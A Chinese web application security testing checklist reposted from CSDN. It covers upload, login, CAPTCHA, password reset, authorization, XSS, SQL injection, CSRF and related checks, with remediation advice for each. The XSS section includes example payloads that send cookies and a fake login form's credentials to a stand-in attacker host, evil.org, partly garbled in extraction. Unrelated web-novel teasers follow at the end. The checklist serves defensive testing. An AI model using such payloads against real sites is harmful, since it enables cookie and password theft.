常见的安全性测试

二、测试项详细说明

上传功能

    绕过文件上传检查功能

    上传文件大小和次数限制

注册功能

    注册请求是否安全传输

    注册时密码复杂度是否后台校验

    激活链接测试

    重复注册

    批量注册问题

登录功能

    登录请求是否安全传输

    会话固定:Session fixation attack(会话固定攻击)是利用服务器的session不变机制,借他人之手获得认证和授权,然后冒充他人。

    关键cookie是否HTTPONLY:如果Cookie设置了HttpOnly标志,可以在发生XSS时避免JavaScript读取Cookie。

但很多Cookie需要给前端JS使用。所以这里只需要关注关键Cookie,即唯一标识用户及登录状态的会话标识需要添加这个属性。

    登录请求错误次数限制

    “记住我”功能:勾选“记住我”后,Cookie中记录了用户名和密码信息。。。

    本地存储敏感信息

验证码功能

    验证码的一次性

    验证码绕过

    短信验证码轰炸:如果这个接口没有限制策略,就会被人恶意利用

忘记密码功能

    通过手机号找回:不过由于程序设计不合理,导致可以绕过短信验证码,从而修改别人的密码。(使用burpsuite抓包,修改响应值true)

    通过邮箱找回

密码安全性要求

    密码复杂度要求

    密码保存要求

横向越权测试

不同用户之间session共享,可以非法操作对方的数据。

纵向越权测试

很多应用简单的通过前端判断,或者低权限角色看不到对应的菜单,但并未在后台去做当前登录用户是否有权限。

    XSS测试

跨站脚本攻击(Cross Site Scripting):恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。

    反射型XSS:

利用请求参数param2,进行XSS注入,设置js等可执行或可跳转语句。param2=document.write('')。

这个网站的已登录用户去点击,cookie会被发送到 evil.org 上去。

处理意见:对特殊字符转义输出,特别是'"<>这几个。

    存储型XSS:

在论坛上发表帖子,假设论坛有漏洞,可以在帖子中注入下面的JS内容:

document.body.innerHTML="

PleaseLogin

action=http://evil.org/grabpassword.jspmethod=post>
User name:

name=user>
Password:

name=login>

当其他用户浏览该帖子时,就会弹出登录框,如图(用户名+密码登陆界面)。

这是页面中注入的XSS生成的,如果您输入了账号密码,那就被发送给黑客了。

处理意见:对特殊字符转义输出,特别是如下几个'"<>

    DOM型XSS

基于DOM型XSS样例,相比较与Reflected、Stored XSS属于server side execution issues而言,DOM based XSS 是client(browser)side execution issue。

Step1:如下面请求的hash部分,由客户端JS动态执行产生XSS注入。

http://www.webapp.com/example.jsp?param1=value1#\u003ciframeonload=alert('xss')\u003e

Step2:动态生成:

这个比较难测试,一般需要阅读页面中的JS代码,去分析。没有固定的测试步骤,还是需要大家自己多学习。不作为强制项,WebInspect扫过即可。

处理意见:对特殊字符转义输出,特别是'"<>。

SQL注入测试

SQL注入攻击的基本原理是通过构建特殊的输入参数,迫使后台数据库执行额外的SQL语句,从而达到获取数据库数据的目的。

这些输入参数往往包含恶意的SQL注入语句,后台处理程序没有对这些参数进行过滤,且所使用的数据库查询手段为拼接方式,进而导致敏感数据外泄。

在动态构造SQL语句的过程中,除了特殊字符处理不当引起的SQL注入之外,错误处理不当也会为Web站点带来很多安全隐患。

最常见的问题就是将详细的内部错误信息显示给攻击者。这些细节会为攻击者提供与网站潜在缺陷相关的重要线索。

在SQL注入的过程中,如果Web服务器关闭了错误回显,那么是不是就安全了呢?答案显然是否定的,攻击者仍然可以通过 "盲注"技巧测试SQL命令是否注入成功。

所谓"盲注"就是在服务器没有错误回显时完成的注入方式,攻击者必须找到一个方法来验证注入的SQL语句是否执行。

"盲注"主要分为两种类型:基于时间的盲注和布尔盲注。

测试方法(黑盒):sqlmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL的SQL注入漏洞,

测试方法(白盒):如果项目的数据库持久层框架是mybatis,并且他的sqlmap中编写方式都是使用#{xxx}方式,而非使用${xxx}方式,就不存在SQl注入问题。

注:sqlMap中尽量不要使用$;$使用的是Statement(拼接字符串),会出现注入问题。#使用的是PreparedStatement(类似于预编译),将转义交给了数据库,不会出现注入问题;前者容易出现SQL注入之类的安全问题,所以mybatis推荐使用#。

写接口限制测试

比如:找回密码的邮件。多次调用,造成邮件轰炸。

新增的接口,如写文章、上传文件等。这些接口如果没有任何限制,那么恶意用户使用程序无限循环的调用接口,就会写入大量的数据。通过并发、循环方式上传大量文件,填满磁盘,消耗服务器资源。

修复建议:对写入量大的接口(如上传)做必要的限制。

CSRF测试

CSRF(Cross-site requestforgery),中文名称:跨站请求伪造。用户C在为退出A的情况下,浏览B,B使用C的session非法访问A。

检查:

Ø  是否有防御CSRF的随机数。验证码、csrf_token等都是。 有则 (通过)

Ø  是否验证referer。有则(通过)

Ø  请求的参数均可推测,无CSRF防御机制。(不通过)

测试中,需要对所有写接口检查,可以采用如下方式,记录接口,标记是否已检查。

修复建议:

Ø  方法1:验证码

验证码制用户必须与应用进行交互,才能完成最终请求。因此在通常情况下,验证码能够很好地遏制CSRF攻击。

但是这种方式易用性方面似乎不是太好,并且对于简单的图形验证码也有很多绕过机制。防御CSRF的一种辅助手段

Ø  方法2:Referer 验证

当浏览器发送一个HTTP请求时一般都会在Referer中表明发起请求的URL。

通过Referer我们可以通过判断一个请求是否为同域下发起的来防御CSRF,但是Referer可能会包含一些敏感信息甚至在某些情况下能够被伪造。

因此我们无法依赖于Referer来作为防御CSRF的主要手段,但是可以通过Referer来监控CSRF攻击的发生。

Ø  方法3:Token验证

在请求原参数不变的条件下,新增了一个随机的、不可预测参数Token是目前最普遍有效的方式。

后端在对数据处理前会首先对Token参数进行验证,只有用户请求中的Token与用户Session(或Cookie)中的Token一致时,才会认为请求是合法的。

由于Token的存在,攻击者就无法构造一个完整的请求实施CSRF攻击,从而保证了网站或系统的安全。

敏感信息泄露

SVN信息泄露:有数据库账号和密码等信息;

页面泄露敏感信息:有些WEB应用,在返回给客户端的响应中,包含了敏感信息,例如密码。

目录遍历

在web应用中,如下图所示的显示目录文件列表,会带来一定的安全隐患(服务器文件列表)。

CRLF

CRLF就是HTTP响应头拆分漏洞。是对用户输入的CR 和LF字符没有进行严格的过滤导致的。

修复建议:过滤CR和LF字符。或者转义。

任意文件读取

URL重定向

点击劫持ClickJacking

XXE

SSRF

CORS问题

---------------------

作者:mathlpz12

来源:CSDN

原文:https://blog.csdn.net/mathlpz126/article/details/78322216

版权声明:本文为博主原创文章,转载请附上博文链接!

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 214,100评论 6 493
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 91,308评论 3 388
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 159,718评论 0 349
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 57,275评论 1 287
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 66,376评论 6 386
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 50,454评论 1 292
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,464评论 3 412
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,248评论 0 269
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,686评论 1 306
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 36,974评论 2 328
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,150评论 1 342
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,817评论 4 337
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,484评论 3 322
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,140评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,374评论 1 267
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 47,012评论 2 365
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,041评论 2 351

推荐阅读更多精彩内容